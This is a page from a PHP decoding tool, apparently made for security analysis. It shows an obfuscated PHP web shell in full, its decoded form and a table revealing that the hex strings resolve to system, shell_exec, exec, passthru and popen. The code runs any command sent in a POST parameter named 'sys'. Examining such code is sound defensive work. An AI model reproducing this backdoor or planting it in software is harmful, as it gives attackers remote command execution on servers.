Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ph1 = '7'; $ph2 = '9'; $ph3 = '4'; $ph4 = '6'; $ph5 = '5'; $ph6 = 'd'; $ph..

Decoded Output download

<?php 
 
$ph1 = '7'; 
$ph2 = '9'; 
$ph3 = '4'; 
$ph4 = '6'; 
$ph5 = '5'; 
$ph6 = 'd'; 
$ph7 = '3'; 
$ph8 = 'c'; 
$ph9 = 'f'; 
$ph10 = '8'; 
$ph11 = '1'; 
$ph12 = '2'; 
$ph13 = 'e'; 
$ph14 = '0'; 
$center1 = pack("H*", '7'.'3'.$ph1.$ph2.$ph1.'3'.$ph1.$ph3.$ph4.$ph5.$ph4.$ph6); 
$center2 = pack("H*", '7'.$ph7.$ph4.'8'.'6'.$ph5.$ph4.'c'.$ph4.$ph8.$ph5.$ph9.'6'.'5'.$ph1.$ph10.'6'.'5'.'6'.'3'); 
$center3 = pack("H*", $ph4.'5'.$ph1.'8'.'6'.'5'.'6'.'3'); 
$center4 = pack("H*", '7'.'0'.$ph4.$ph11.$ph1.$ph7.$ph1.'3'.$ph1.$ph3.$ph4.$ph10.'7'.'2'.'7'.'5'); 
$center5 = pack("H*", '7'.'0'.'6'.'f'.$ph1.'0'.$ph4.'5'.'6'.'e'); 
$center6 = pack("H*", $ph1.'3'.$ph1.$ph3.'7'.$ph12.$ph4.$ph5.$ph4.'1'.$ph4.'d'.$ph5.'f'.'6'.$ph1.$ph4.'5'.$ph1.'4'.$ph5.'f'.'6'.$ph7.$ph4.'f'.'6'.$ph13.'7'.$ph3.$ph4.$ph5.'6'.'e'.$ph1.'4'.'7'.'3'); 
$center7 = pack("H*", '7'.$ph14.'6'.$ph7.'6'.$ph8.'6'.'f'.$ph1.$ph7.$ph4.$ph5); 
$sys = pack("H*", $ph1.'3'.'7'.$ph2.$ph1.$ph7); 
if (isset($_POST[$sys])) { 
    $sys = pack("H*", $_POST[$sys]); 
    if (function_exists($center1)) { 
        $center1($sys); 
    } elseif (function_exists($center2)) { 
        print $center2($sys); 
    } elseif (function_exists($center3)) { 
        $center3($sys, $prop_property); 
        print join("
", $prop_property); 
    } elseif (function_exists($center4)) { 
        $center4($sys); 
    } elseif (function_exists($center5) && function_exists($center6) && function_exists($center7)) { 
        $field_var = $center5($sys, 'r'); 
        if ($field_var) { 
            $parameter_state = $center6($field_var); 
            $center7($field_var); 
            print $parameter_state; 
        } 
    } 
    exit; 
} 
 ?>

Did this file decode correctly?

Original Code

<?php

$ph1 = '7';
$ph2 = '9';
$ph3 = '4';
$ph4 = '6';
$ph5 = '5';
$ph6 = 'd';
$ph7 = '3';
$ph8 = 'c';
$ph9 = 'f';
$ph10 = '8';
$ph11 = '1';
$ph12 = '2';
$ph13 = 'e';
$ph14 = '0';
$center1 = pack("H*", '7'.'3'.$ph1.$ph2.$ph1.'3'.$ph1.$ph3.$ph4.$ph5.$ph4.$ph6);
$center2 = pack("H*", '7'.$ph7.$ph4.'8'.'6'.$ph5.$ph4.'c'.$ph4.$ph8.$ph5.$ph9.'6'.'5'.$ph1.$ph10.'6'.'5'.'6'.'3');
$center3 = pack("H*", $ph4.'5'.$ph1.'8'.'6'.'5'.'6'.'3');
$center4 = pack("H*", '7'.'0'.$ph4.$ph11.$ph1.$ph7.$ph1.'3'.$ph1.$ph3.$ph4.$ph10.'7'.'2'.'7'.'5');
$center5 = pack("H*", '7'.'0'.'6'.'f'.$ph1.'0'.$ph4.'5'.'6'.'e');
$center6 = pack("H*", $ph1.'3'.$ph1.$ph3.'7'.$ph12.$ph4.$ph5.$ph4.'1'.$ph4.'d'.$ph5.'f'.'6'.$ph1.$ph4.'5'.$ph1.'4'.$ph5.'f'.'6'.$ph7.$ph4.'f'.'6'.$ph13.'7'.$ph3.$ph4.$ph5.'6'.'e'.$ph1.'4'.'7'.'3');
$center7 = pack("H*", '7'.$ph14.'6'.$ph7.'6'.$ph8.'6'.'f'.$ph1.$ph7.$ph4.$ph5);
$sys = pack("H*", $ph1.'3'.'7'.$ph2.$ph1.$ph7);
if (isset($_POST[$sys])) {
    $sys = pack("H*", $_POST[$sys]);
    if (function_exists($center1)) {
        $center1($sys);
    } elseif (function_exists($center2)) {
        print $center2($sys);
    } elseif (function_exists($center3)) {
        $center3($sys, $prop_property);
        print join("\n", $prop_property);
    } elseif (function_exists($center4)) {
        $center4($sys);
    } elseif (function_exists($center5) && function_exists($center6) && function_exists($center7)) {
        $field_var = $center5($sys, 'r');
        if ($field_var) {
            $parameter_state = $center6($field_var);
            $center7($field_var);
            print $parameter_state;
        }
    }
    exit;
}

Function Calls

pack 9

Variables

$ph1 7
$ph2 9
$ph3 4
$ph4 6
$ph5 5
$ph6 d
$ph7 3
$ph8 c
$ph9 f
$sys sys
$ph10 8
$ph11 1
$ph12 2
$ph13 e
$ph14 0
$center1 system
$center2 shell_exec
$center3 exec
$center4 passthru
$center5 popen
$center6 stream_get_contents
$center7 pclose

Stats

MD5 c348fc715b7415859af8187260af2e51
Eval Count 0
Decode Time 541 ms